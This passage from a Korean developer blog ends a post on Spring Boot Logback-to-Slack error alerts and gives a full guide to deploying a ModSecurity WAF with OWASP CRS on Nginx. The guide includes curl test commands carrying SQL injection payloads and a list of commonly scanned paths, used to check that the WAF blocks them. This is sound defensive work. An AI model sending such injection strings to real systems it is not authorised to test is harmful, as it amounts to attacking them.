            <span class="n">log</span><span class="o">.</span><span class="na">error</span><span class="o">(</span><span class="s">"주문 처리 실패. orderId={}"</span><span class="o">,</span> <span class="n">orderId</span><span class="o">,</span> <span class="n">e</span><span class="o">);</span>
            <span class="k">throw</span> <span class="n">e</span><span class="o">;</span>
        <span class="o">}</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<h3 id="2-명시적-slack-전송-선택적">2. 명시적 Slack 전송 (선택적)</h3>

<p>특정 이벤트를 DEBUG/INFO 레벨로 Slack에 전송하고 싶을 때 사용합니다.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@RestController</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">MonitorController</span> <span class="o">{</span>

    <span class="c1">// slackLogger 이름의 로거 사용</span>
    <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">Logger</span> <span class="n">slackLog</span> <span class="o">=</span> <span class="nc">LoggerFactory</span><span class="o">.</span><span class="na">getLogger</span><span class="o">(</span><span class="s">"slackLogger"</span><span class="o">);</span>

    <span class="nd">@PostMapping</span><span class="o">(</span><span class="s">"/api/deploy/notify"</span><span class="o">)</span>
    <span class="kd">public</span> <span class="nc">String</span> <span class="nf">notifyDeploy</span><span class="o">()</span> <span class="o">{</span>
        <span class="n">slackLog</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"v2.5.0 배포 완료 - 정상 구동 확인"</span><span class="o">);</span>
        <span class="k">return</span> <span class="s">"OK"</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<h3 id="3-비동기-메서드에서의-로깅">3. 비동기 메서드에서의 로깅</h3>

<p><code class="language-plaintext highlighter-rouge">MdcTaskDecorator</code> 적용으로 <code class="language-plaintext highlighter-rouge">@Async</code> 메서드에서도 traceId가 유지됩니다.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Slf4j</span>
<span class="nd">@Service</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">NotificationService</span> <span class="o">{</span>

    <span class="nd">@Async</span><span class="o">(</span><span class="s">"threadPoolTaskExecutor"</span><span class="o">)</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">sendPushAsync</span><span class="o">(</span><span class="nc">Long</span> <span class="n">memberId</span><span class="o">,</span> <span class="nc">String</span> <span class="n">message</span><span class="o">)</span> <span class="o">{</span>
        <span class="c1">// traceId가 비동기 스레드에서도 유지됨</span>
        <span class="n">log</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"푸시 전송 시작. memberId={}"</span><span class="o">,</span> <span class="n">memberId</span><span class="o">);</span>

        <span class="k">try</span> <span class="o">{</span>
            <span class="c1">// 푸시 전송 로직</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="c1">// ERROR → Slack 자동 전송 (traceId 포함)</span>
            <span class="n">log</span><span class="o">.</span><span class="na">error</span><span class="o">(</span><span class="s">"푸시 전송 실패. memberId={}"</span><span class="o">,</span> <span class="n">memberId</span><span class="o">,</span> <span class="n">e</span><span class="o">);</span>
        <span class="o">}</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<hr />

<h2 id="slack-메시지-출력-예시">Slack 메시지 출력 예시</h2>

<p>실제 Slack 채널에 전송되는 메시지는 다음과 같은 형태입니다:</p>

<p><img src="https://github.com/user-attachments/assets/c4bf7751-04e9-436a-b88b-44842e717aa8" alt="Slack 에러 알림 메시지 예시" style="max-width: 600px;" /></p>

<p>traceId가 포함되어 있으므로, 이 값으로 로그 파일을 검색하면 해당 요청의 전체 흐름을 추적할 수 있습니다.</p>

<hr />

<h2 id="결론">결론</h2>

<p>이 시스템을 도입한 후 다음과 같은 효과를 얻을 수 있었습니다:</p>

<ul>
  <li><strong>장애 인지 시간 단축</strong>: 에러 발생 즉시 Slack 알림으로 팀 전체가 인지</li>
  <li><strong>노이즈 제거</strong>: 비즈니스 예외 필터링으로 실제 장애 알림만 수신</li>
  <li><strong>빠른 원인 파악</strong>: traceId 기반으로 요청 단위 로그 추적 가능</li>
  <li><strong>비동기 추적 연속성</strong>: MDC 전파로 <code class="language-plaintext highlighter-rouge">@Async</code> 메서드에서도 traceId 유지</li>
</ul>

<p>별도의 모니터링 인프라 없이도, Logback + Slack Webhook 조합만으로 실시간 에러 모니터링 체계를 구축할 수 있습니다. 비용 부담 없이 빠르게 적용할 수 있으므로, 아직 에러 알림 시스템이 없는 프로젝트라면 도입을 검토해 보시기 바랍니다.</p>

<hr />

<h2 id="참고-자료">참고 자료</h2>

<ul>
  <li><a href="https://github.com/maricn/logback-slack-appender">logback-slack-appender GitHub</a></li>
  <li><a href="https://www.slf4j.org/manual.html#mdc">SLF4J MDC 공식 문서</a></li>
  <li><a href="https://docs.spring.io/spring-boot/docs/current/reference/html/features.html#features.logging">Spring Boot Logging 공식 문서</a></li>
</ul>]]></content><author><name>KIM-KYOUNG-OH</name></author><category term="Infra" /><category term="Spring-Boot" /><category term="Logback" /><category term="Slack" /><category term="Webhook" /><category term="Monitoring" /><category term="MDC" /><summary type="html"><![CDATA[서비스를 운영하다 보면 “장애가 발생했는데 아무도 몰랐다”는 상황이 가장 두렵습니다. 로그 파일을 뒤늦게 확인하고 나서야 문제를 인지하는 것은, 사용자가 이미 불편을 겪은 뒤라는 뜻이기 때문입니다.]]></summary></entry><entry><title type="html">ModSecurity WAF로 웹 애플리케이션 보안 강화하기</title><link href="https://coffeetimes.github.io/infra/2025/12/21/modsecurity-waf.html" rel="alternate" type="text/html" title="ModSecurity WAF로 웹 애플리케이션 보안 강화하기" /><published>2025-12-21T00:00:00+00:00</published><updated>2025-12-21T00:00:00+00:00</updated><id>https://coffeetimes.github.io/infra/2025/12/21/modsecurity-waf</id><content type="html" xml:base="https://coffeetimes.github.io/infra/2025/12/21/modsecurity-waf.html"><![CDATA[<p>웹 애플리케이션이 복잡해질수록 보안 위협도 함께 증가합니다.<br />
SQL Injection, XSS, RCE 등 다양한 공격으로부터 서비스를 보호하기 위해 L7 WAF(Web Application Firewall)를 도입하게 되었고, 그 과정에서 ModSecurity를 선택한 이유와 구축 경험을 공유합니다.</p>

<h2 id="도입-배경">도입 배경</h2>

<p>웹 애플리케이션을 운영하면서 다음과 같은 보안 이슈들을 경험하게 되었습니다:</p>

<h3 id="1-증가하는-웹-공격-시도">1. 증가하는 웹 공격 시도</h3>

<p>서비스를 운영하면서 시간이 지날수록 보안 공격 시도가 점차 증가하는 것을 확인할 수 있었습니다. 서비스가 성장하고 사용자가 늘어나면서 공격자들의 타겟이 되었고, 실제 서비스 로그를 분석한 결과 다음과 같은 공격 패턴들이 지속적으로 감지되었습니다:</p>

<ul>
  <li><strong>무작위 리소스 스캔 공격</strong>: 존재하지 않는 경로에 대한 자동화된 스캔 시도 (/.env, /admin, /phpmyadmin, /wp-admin 등)</li>
  <li><strong>SQL Injection</strong>: 데이터베이스 조작을 시도하는 악의적인 쿼리</li>
  <li><strong>XSS (Cross-Site Scripting)</strong>: 스크립트 삽입을 통한 사용자 정보 탈취 시도</li>
  <li><strong>Path Traversal</strong>: 파일 시스템 경로 조작을 통한 민감 정보 접근 시도</li>
  <li><strong>RCE (Remote Code Execution)</strong>: 원격 코드 실행 공격</li>
</ul>

<h3 id="2-l3l4-보안-솔루션과-코드-레벨-보안의-한계">2. L3/L4 보안 솔루션과 코드 레벨 보안의 한계</h3>

<p><strong>AWS ACL/Security Group 등 L3/L4 보안 솔루션의 한계:</strong>
AWS Security Group, Network ACL과 같은 L3/L4 레벨 보안 솔루션은 IP 주소, 포트, TCP/UDP 프로토콜 기반으로 트래픽을 제어합니다.</p>

<p>예를 들어:</p>
<ul>
  <li>Security Group: 특정 IP에서 443 포트 허용</li>
  <li>Network ACL: 특정 IP의 80 포트 접근 차단</li>
</ul>

<p>하지만 이러한 솔루션들은 HTTP/HTTPS 요청의 <strong>내용(페이로드)</strong>을 검사할 수 없습니다. 따라서 정상적인 IP에서 80/443 포트로 들어오는 SQL Injection, XSS와 같은 애플리케이션 레벨 공격을 탐지하거나 차단할 수 없습니다.</p>

<p><strong>코드 레벨 보안의 한계:</strong>
Spring Security와 같은 애플리케이션 프레임워크는 인증/인가, CSRF 방어 등 애플리케이션 로직 레벨의 보안을 담당합니다. 하지만 모든 입력값을 코드에서 검증하는 것은:</p>
<ul>
  <li>개발자의 실수나 누락 가능성이 존재</li>
  <li>프레임워크나 라이브러리의 제로데이 취약점에 즉각 대응 어려움</li>
  <li>비즈니스 로직에 도달하기 전 사전 차단이 불가능</li>
</ul>

<p><strong>L7 WAF의 필요성:</strong>
따라서 L3/L4 보안 솔루션과 애플리케이션 코드 사이에서, HTTP 요청의 <strong>내용</strong>을 분석하고 악의적인 패턴을 사전에 차단할 수 있는 <strong>L7 계층 방화벽(WAF)</strong>이 필요합니다.</p>

<h3 id="3-국제-표준-보안-best-practice-적용">3. 국제 표준 보안 Best Practice 적용</h3>

<p>OWASP(Open Web Application Security Project)는 웹 애플리케이션 보안의 국제 표준으로, 전 세계 보안 전문가들이 검증한 Best Practice를 제공합니다.</p>

<p>단순히 규정을 준수하는 것을 넘어서, <strong>OWASP Top 10</strong>과 <strong>OWASP CRS(Core Rule Set)</strong>를 직접 경험하고 적용함으로써:</p>
<ul>
  <li>보안 위협에 대한 실질적인 대응 역량 강화</li>
  <li>검증된 보안 패턴을 시스템에 통합</li>
  <li>지속적인 룰셋 업데이트를 통한 점진적 보안 고도화</li>
</ul>

<p>이를 통해 단발성 보안 조치가 아닌, <strong>시스템의 점진적이고 지속가능한 보안 강화</strong> 체계를 구축하고자 했습니다.</p>

<h2 id="왜-modsecurity인가">왜 ModSecurity인가?</h2>

<p>여러 WAF 솔루션을 검토한 결과, ModSecurity를 선택하게 된 이유는 다음과 같습니다:</p>

<h3 id="1-오픈소스-기반의-유연성">1. 오픈소스 기반의 유연성</h3>

<p>ModSecurity는 오픈소스 WAF 엔진으로, 상용 솔루션 대비 다음과 같은 장점이 있습니다:</p>
<ul>
  <li><strong>비용 효율성</strong>: 라이선스 비용 없이 무료로 사용 가능</li>
  <li><strong>커스터마이징</strong>: 소스 코드 수준에서 수정 및 최적화 가능</li>
  <li><strong>커뮤니티 지원</strong>: 활발한 오픈소스 커뮤니티와 풍부한 레퍼런스</li>
</ul>

<h3 id="2-owasp-crs-core-rule-set-지원">2. OWASP CRS (Core Rule Set) 지원</h3>

<p>ModSecurity는 OWASP에서 관리하는 Core Rule Set을 기본으로 제공합니다:</p>
<ul>
  <li><strong>검증된 보안 룰</strong>: 전 세계 보안 전문가들이 관리하는 룰셋</li>
  <li><strong>지속적인 업데이트</strong>: 새로운 공격 패턴에 대한 신속한 대응</li>
  <li><strong>세밀한 튜닝</strong>: 각 룰별로 활성화/비활성화 및 예외 처리 가능</li>
</ul>

<h3 id="3-nginx와의-완벽한-통합">3. Nginx와의 완벽한 통합</h3>

<p>기존에 사용 중이던 Nginx 웹 서버와 모듈 형태로 통합할 수 있어:</p>
<ul>
  <li><strong>성능 오버헤드 최소화</strong>: 별도의 프록시 없이 직접 통합</li>
  <li><strong>간편한 관리</strong>: Nginx 설정 파일 내에서 통합 관리</li>
  <li><strong>안정성</strong>: 프로덕션 환경에서 검증된 안정적인 조합</li>
</ul>

<h3 id="4-유연한-로깅과-모니터링">4. 유연한 로깅과 모니터링</h3>

<ul>
  <li><strong>상세한 감사 로그</strong>: 차단된 요청에 대한 상세 정보 기록</li>
  <li><strong>실시간 모니터링</strong>: 공격 패턴 분석 및 대응 가능</li>
  <li><strong>False Positive 관리</strong>: 오탐 케이스를 쉽게 식별하고 예외 처리 가능</li>
</ul>

<hr />

<h2 id="modsecurity-waf-구축-과정">ModSecurity WAF 구축 과정</h2>

<h3 id="환경-정보">환경 정보</h3>

<ul>
  <li><strong>버전</strong>: Nginx 1.29.2 + ModSecurity v3 + OWASP CRS</li>
  <li><strong>대상 OS</strong>: Amazon Linux 2 / CentOS 7 이상</li>
  <li><strong>구성 요소</strong>:
    <ul>
      <li><strong>ModSecurity</strong>: 오픈소스 WAF 엔진</li>
      <li><strong>OWASP CRS</strong>: 공격 패턴 탐지 룰셋 (<a href="https://coreruleset.org/">coreruleset.org</a>)</li>
    </ul>
  </li>
</ul>

<h3 id="1-modsecurity-설치">1. ModSecurity 설치</h3>

<p>ModSecurity와 필요한 의존성 라이브러리를 설치합니다:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 필수 패키지 설치</span>
yum <span class="nb">install </span>yajl-devel git gcc-c++ flex bison curl-devel curl libxml2-devel <span class="se">\</span>
    doxygen zlib-devel git automake libtool pcre-devel GeoIP-devel <span class="se">\</span>
    lua-devel wget openssl-devel pcre2 pcre2-devel

<span class="c"># LMDB 설치</span>
<span class="nb">cd</span> /opt/ <span class="o">&amp;&amp;</span> git clone https://github.com/LMDB/lmdb.git
<span class="nb">cd </span>lmdb/libraries/liblmdb
make <span class="o">&amp;&amp;</span> make <span class="nb">install</span>

<span class="c"># SSDEEP 설치</span>
<span class="nb">cd</span> /opt/ <span class="o">&amp;&amp;</span> git clone https://github.com/ssdeep-project/ssdeep
<span class="nb">cd </span>ssdeep/
./bootstrap <span class="o">&amp;&amp;</span> ./configure <span class="o">&amp;&amp;</span> make <span class="o">&amp;&amp;</span> make <span class="nb">install</span>

<span class="c"># libmodsecurity 설치</span>
<span class="nb">cd</span> /opt/ <span class="o">&amp;&amp;</span> git clone https://github.com/owasp-modsecurity/ModSecurity
<span class="nb">cd </span>ModSecurity
git submodule init <span class="o">&amp;&amp;</span> git submodule update
./build.sh <span class="o">&amp;&amp;</span> ./configure <span class="o">&amp;&amp;</span> make <span class="o">&amp;&amp;</span> make <span class="nb">install</span>
</code></pre></div></div>

<h3 id="2-nginx-modsecurity-모듈-빌드">2. Nginx ModSecurity 모듈 빌드</h3>

<p>기존 Nginx에 ModSecurity 모듈을 추가합니다:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Nginx Connector 다운로드</span>
<span class="nb">cd</span> /opt
git clone <span class="nt">--depth</span> 1 https://github.com/owasp-modsecurity/ModSecurity-nginx.git

<span class="c"># Nginx 소스 다운로드 및 빌드</span>
nginx <span class="nt">-V</span>  <span class="c"># 현재 버전 확인</span>
<span class="nb">cd</span> /usr/local/src
wget https://nginx.org/download/nginx-1.29.X.tar.gz
<span class="nb">tar</span> <span class="nt">-xzvf</span> nginx-1.29.X.tar.gz
<span class="nb">cd </span>nginx-1.29.X/

<span class="c"># 모듈 컴파일</span>
./configure <span class="nt">--with-http_ssl_module</span> <span class="nt">--with-http_v2_module</span> <span class="se">\</span>
    <span class="nt">--with-compat</span> <span class="nt">--add-dynamic-module</span><span class="o">=</span>/opt/ModSecurity-nginx/
make modules

<span class="c"># 모듈 복사</span>
<span class="nb">cp </span>objs/ngx_http_modsecurity_module.so /etc/nginx/modules/
</code></pre></div></div>

<h3 id="3-owasp-crs-설정">3. OWASP CRS 설정</h3>

<p>OWASP Core Rule Set을 다운로드하고 설정합니다:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 디렉터리 생성</span>
<span class="nb">sudo mkdir</span> <span class="nt">-p</span> /etc/nginx/modsecurity
<span class="nb">cd</span> /etc/nginx/modsecurity

<span class="c"># CRS 다운로드</span>
<span class="nb">sudo </span>git clone https://github.com/coreruleset/coreruleset.git owasp-crs
<span class="nb">sudo cp </span>owasp-crs/crs-setup.conf.example /etc/nginx/modsecurity/crs-setup.conf

<span class="c"># 로그 디렉터리 생성</span>
<span class="nb">sudo mkdir</span> <span class="nt">-p</span> /var/log/modsecurity
<span class="nb">sudo chown</span> <span class="nt">-R</span> nginx:nginx /var/log/modsecurity
</code></pre></div></div>

<h3 id="4-modsecurity-핵심-설정">4. ModSecurity 핵심 설정</h3>

<p>ModSecurity의 핵심 동작을 정의하는 설정 파일을 생성합니다:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 캐시 디렉터리 생성</span>
<span class="nb">mkdir</span> <span class="nt">-p</span> /var/cache/modsecurity/tmp
<span class="nb">mkdir</span> <span class="nt">-p</span> /var/cache/modsecurity/data

<span class="c"># 설정 파일 생성</span>
vi /etc/nginx/modsecurity/modsecurity.conf
</code></pre></div></div>

<p><strong>modsecurity.conf 내용</strong>:</p>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># ModSecurity 핵심 설정</span>
<span class="k">SecRuleEngine</span> <span class="s">On</span>                        <span class="c1"># 룰 적용: On=검사+차단, DetectionOnly=로그만</span>
<span class="s">SecRequestBodyAccess</span> <span class="s">On</span>                 <span class="c1"># 요청 본문 검사</span>
<span class="s">SecResponseBodyAccess</span> <span class="s">Off</span>               <span class="c1"># 응답 본문 검사 (성능 고려)</span>

<span class="c1"># 감사 로그 설정</span>
<span class="s">SecAuditEngine</span> <span class="s">RelevantOnly</span>                 <span class="c1"># 차단 이벤트만 로깅</span>
<span class="s">SecAuditLogRelevantStatus</span> <span class="s">"^(?:5|4(?!04))"</span>  <span class="c1"># 5xx, 4xx (404 제외) 로깅</span>
<span class="s">SecAuditLogParts</span> <span class="s">ABIJDEFHZ</span>                  <span class="c1"># 요약 정보만 기록</span>
<span class="s">SecAuditLogType</span> <span class="s">Serial</span>                      <span class="c1"># 순차적 로그 기록</span>
<span class="s">SecAuditLog</span> <span class="n">/var/log/modsecurity/modsec_audit.log</span>  <span class="c1"># 감사 로그 파일 경로</span>

<span class="c1"># 요청 크기 제한</span>
<span class="s">SecRequestBodyLimit</span> <span class="mi">52428800</span>            <span class="c1"># 최대 50MB</span>
<span class="s">SecRequestBodyNoFilesLimit</span> <span class="mi">2097152</span>      <span class="c1"># 파일 없는 요청 최대 2MB</span>

<span class="c1"># 요청 본문이 SecRequestBodyLimit를 초과할 경우 처리 방식</span>
<span class="c1"># ProcessPartial -&gt; 본문 일부만 읽고 검사, 나머지는 통과</span>
<span class="c1"># Reject -&gt; 기본값, 제한 초과 시 차단</span>
<span class="s">SecRequestBodyLimitAction</span> <span class="s">ProcessPartial</span>

<span class="c1"># 임시 디렉터리</span>
<span class="s">SecTmpDir</span> <span class="n">/var/cache/modsecurity/tmp</span>
<span class="s">SecDataDir</span> <span class="n">/var/cache/modsecurity/data</span>
</code></pre></div></div>

<h3 id="5-로그-로테이션-설정">5. 로그 로테이션 설정</h3>

<p>로그 파일이 과도하게 커지지 않도록 로테이션을 설정합니다:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>vi /etc/logrotate.d/modsecurity
</code></pre></div></div>

<p><strong>로그 로테이션 설정</strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/var/log/modsecurity/modsec_audit.log {
    daily
    missingok
    rotate 93
    compress
    delaycompress
    notifempty
    create 640 nginx adm
    sharedscripts
    postrotate
        if [ -f /var/run/nginx.pid ]; then
            kill -USR1 `cat /var/run/nginx.pid`
        fi
    endscript
}
</code></pre></div></div>

<h3 id="6-커스텀-룰-설정">6. 커스텀 룰 설정</h3>

<p>실제 운영 환경에서는 오탐(False Positive)으로 인해 정상 요청이 리젝될 수 있습니다. 이를 예외 처리하기 위한 커스텀 룰을 작성합니다:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vi /etc/nginx/modsecurity/custom_rules.conf
</code></pre></div></div>

<p><strong>주요 예외 처리 예시</strong>:</p>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># ID 1000001</span>
<span class="c1"># ELB HealthCheck 예외</span>
<span class="c1"># 조건:</span>
<span class="c1">#   - User-Agent = "ELB-HealthChecker"</span>
<span class="c1">#   - Source IP = </span>
<span class="c1"># 제외 룰:</span>
<span class="c1">#   - 920350 (Host header is numeric IP)</span>
<span class="k">SecRule</span> <span class="s">REQUEST_HEADERS:User-Agent</span> <span class="s">"ELB-HealthChecker"</span> <span class="err">\</span>
    <span class="s">"phase:1,id:1000001,nolog,pass,chain"</span>
    <span class="s">SecRule</span> <span class="s">REMOTE_ADDR</span> <span class="s">"@ipMatch</span> <span class="s">"</span> <span class="err">\</span>
        <span class="s">"ctl:ruleRemoveById=920350"</span>
        
<span class="c1"># ID 1000004</span>
<span class="c1"># PUT / DELETE / PATCH 허용</span>
<span class="c1"># 제외 룰:</span>
<span class="c1">#   - 911100 (Method enforcement)</span>
<span class="s">SecRule</span> <span class="s">REQUEST_METHOD</span> <span class="s">"^(PUT|DELETE|PATCH)</span>$<span class="s">"</span> <span class="err">\</span>
    <span class="s">"phase:1,id:1000004,nolog,pass,</span><span class="err">\</span>
    <span class="s">ctl:ruleRemoveById=911100"</span>
</code></pre></div></div>

<h3 id="7-nginx-통합-설정">7. Nginx 통합 설정</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vi /etc/nginx/modsecurity/main.conf
</code></pre></div></div>

<p><strong>main.conf 내용</strong>:</p>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># 핵심 설정 포함</span>
<span class="k">Include</span> <span class="n">/etc/nginx/modsecurity/modsecurity.conf</span>

<span class="c1"># 커스텀 룰 (오탐 예외처리)</span>
<span class="s">Include</span> <span class="n">/etc/nginx/modsecurity/custom_rules.conf</span>

<span class="c1"># OWASP CRS</span>
<span class="s">Include</span> <span class="n">/etc/nginx/modsecurity/crs-setup.conf</span>
<span class="s">Include</span> <span class="n">/etc/nginx/modsecurity/owasp-crs/rules/*.conf</span>
</code></pre></div></div>

<p><strong>nginx.conf에 ModSecurity 활성화</strong>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vi /etc/nginx/nginx.conf
</code></pre></div></div>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># 최상단에 모듈 로드</span>
<span class="k">load_module</span> <span class="n">/etc/nginx/modules/ngx_http_modsecurity_module.so</span><span class="p">;</span>

<span class="c1"># http {} 블록 안에 활성화</span>
<span class="k">http</span> <span class="p">{</span>
    <span class="kn">modsecurity</span> <span class="no">on</span><span class="p">;</span>
    <span class="kn">modsecurity_rules_file</span> <span class="n">/etc/nginx/modsecurity/main.conf</span><span class="p">;</span>

    <span class="c1"># ... 이하 생략 ...</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="8-적용-및-테스트">8. 적용 및 테스트</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 설정 검증</span>
nginx <span class="nt">-t</span>

<span class="c"># Nginx 재시작</span>
nginx <span class="nt">-s</span> reload
</code></pre></div></div>

<p><strong>동작 테스트</strong>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># SQL Injection 테스트</span>
curl <span class="nt">-i</span> <span class="nt">--get</span> <span class="nt">--data-urlencode</span> <span class="s2">"id=1' OR '1'='1"</span> <span class="s2">"https://your-domain.com"</span>
curl <span class="nt">-i</span> <span class="nt">--get</span> <span class="nt">--data-urlencode</span> <span class="s2">"q=1 UNION SELECT username,password FROM users"</span> <span class="s2">"https://your-domain.com"</span>
</code></pre></div></div>

<p><img src="https://github.com/user-attachments/assets/b561a8dd-04fb-45ae-822f-c352e3604b0e" alt="ModSecurity SQL Injection 차단 로그" /></p>

<p>위 이미지(민감 정보는 블러 처리)와 같이 SQL Injection 공격을 요청하면 <strong>owasp-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE</strong> 룰셋에 의해 <strong>403 Forbidden</strong> 응답을 WAF 단에서 처리하는 것을 확인할 수 있습니다.</p>

<p>로그의 <code class="language-plaintext highlighter-rouge">--H--</code> 섹션을 분석하면 어떠한 룰셋에 의해 리젝되었는지 상세히 조회할 수 있습니다.</p>

<h3 id="9-로그-모니터링">9. 로그 모니터링</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Nginx 에러 로그</span>
<span class="nb">tail</span> <span class="nt">-f</span> /var/log/nginx/error.log

<span class="c"># ModSecurity 감사 로그</span>
<span class="nb">tail</span> <span class="nt">-f</span> /var/log/modsecurity/modsec_audit.log
</code></pre></div></div>

<p><strong>로그 분석 방법:</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">modsec_audit.log</code>에서 <strong><code class="language-plaintext highlighter-rouge">---H--</code></strong> 섹션이 있는 케이스가 실제로 WAF에 의해 차단된 요청입니다.</li>
  <li><code class="language-plaintext highlighter-rouge">---H--</code> 섹션에는 어떤 OWASP CRS 룰셋(예: 942100-SQLi, 941100-XSS)에 의해 차단되었는지 상세 정보가 기록됩니다.</li>
  <li>이 정보를 통해 오탐(False Positive) 여부를 판단하고 커스텀 룰로 예외 처리할 수 있습니다.</li>
</ul>

<hr />

<h2 id="운영-시-주의사항">운영 시 주의사항</h2>

<h3 id="1-️중요-오탐false-positive-관리">1. ⚠️중요: 오탐(False Positive) 관리</h3>

<p>ModSecurity를 처음 적용할 때는 다음 단계를 권장합니다:</p>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SecRuleEngine</span> <span class="s">DetectionOnly</span>  <span class="c1"># 로그만 기록, 차단하지 않음</span>
</code></pre></div></div>

<ul>
  <li>최소 1~2주간 <code class="language-plaintext highlighter-rouge">DetectionOnly</code> 모드로 운영하며 로그 모니터링</li>
  <li>정상 트래픽이 차단되는 패턴 식별</li>
  <li><code class="language-plaintext highlighter-rouge">custom_rules.conf</code>에 예외 규칙 추가</li>
  <li>안정화 후 <code class="language-plaintext highlighter-rouge">SecRuleEngine On</code>으로 전환</li>
</ul>

<h3 id="2-성능-영향-최소화">2. 성능 영향 최소화</h3>

<ul>
  <li><code class="language-plaintext highlighter-rouge">SecResponseBodyAccess Off</code>: 응답 본문 검사 비활성화로 성능 향상</li>
  <li><code class="language-plaintext highlighter-rouge">SecAuditEngine RelevantOnly</code>: 필요한 로그만 기록</li>
</ul>

<h3 id="3-지속적인-룰-업데이트">3. 지속적인 룰 업데이트</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> /etc/nginx/modsecurity/owasp-crs
git pull origin main
nginx <span class="nt">-s</span> reload
</code></pre></div></div>

<p>OWASP CRS는 주기적으로 업데이트되므로, 새로운 공격 패턴에 대응하기 위해 정기적인 업데이트가 필요합니다.</p>

<hr />

<h2 id="결론">결론</h2>

<h3 id="1-modsecurity-도입-효과">1. ModSecurity 도입 효과</h3>

<p>ModSecurity WAF를 도입한 후 다음과 같은 긍정적인 효과를 얻을 수 있었습니다:</p>

<ul>
  <li><strong>공격 차단율 향상</strong>: SQL Injection, XSS 등 일반적인 웹 공격 시도를 사전에 차단</li>
  <li><strong>가시성 확보</strong>: 감사 로그를 통해 어떤 공격이 얼마나 시도되는지 정량적으로 파악</li>
  <li><strong>빠른 대응</strong>: 새로운 공격 패턴 발견 시 커스텀 룰로 신속하게 대응 가능</li>
  <li><strong>규정 준수</strong>: 보안 감사 시 OWASP Top 10 대응 체계 입증</li>
</ul>

<h3 id="2-오픈소스-waf의-가치">2. 오픈소스 WAF의 가치</h3>

<p>상용 WAF 솔루션과 비교했을 때, ModSecurity는:</p>
<ul>
  <li><strong>비용 효율성</strong>: 라이선스 비용 없이 엔터프라이즈급 보안 제공</li>
  <li><strong>투명성</strong>: 오픈소스이므로 내부 동작 원리를 정확히 파악 가능</li>
  <li><strong>커뮤니티</strong>: 활발한 커뮤니티를 통한 빠른 문제 해결</li>
</ul>

<p>물론 초기 설정과 튜닝에 시간이 필요하지만, 장기적으로 보면 충분히 투자할 가치가 있습니다.</p>

<h3 id="3-보안은-계층적-접근이-필요하다">3. 보안은 계층적 접근이 필요하다</h3>

<p>ModSecurity WAF는 강력한 보안 도구이지만, 이것만으로 모든 보안 이슈를 해결할 수는 없습니다:</p>

<ul>
  <li><strong>애플리케이션 레벨 검증</strong>: 입력값 검증, 파라미터 바인딩 등 코드 레벨 보안 필수</li>
  <li><strong>인프라 레벨 보안</strong>: 네트워크 방화벽, VPC 격리, IAM 정책 등 인프라 보안 병행</li>
  <li><strong>모니터링 및 대응</strong>: 로그 분석, 이상 탐지, 침해 대응 프로세스 구축</li>
</ul>

<p>ModSecurity는 이러한 다층 보안 전략의 중요한 한 축으로, <strong>애플리케이션 레벨의 첫 번째 방어선</strong> 역할을 충실히 수행합니다.</p>

<hr />

<h2 id="참고-자료">참고 자료</h2>

<ul>
  <li><a href="https://github.com/owasp-modsecurity/ModSecurity">ModSecurity 공식 문서</a></li>
  <li><a href="https://github.com/owasp-modsecurity/ModSecurity-nginx">ModSecurity-nginx Connector</a></li>
  <li><a href="https://github.com/coreruleset/coreruleset">OWASP Core Rule Set</a></li>
  <li><a href="https://github.com/owasp-modsecurity/ModSecurity/wiki/Compilation-recipes-for-v3.x#amazon-linux-2">ModSecurity v3 컴파일 가이드</a></li>
  <li><a href="https://hoing.io/archives/9487#Nginx">Hoing.io - ModSecurity 설정 가이드</a></li>
  <li><a href="https://liveyourit.tistory.com/11">LiveYourIT - ModSecurity 구축기</a></li>
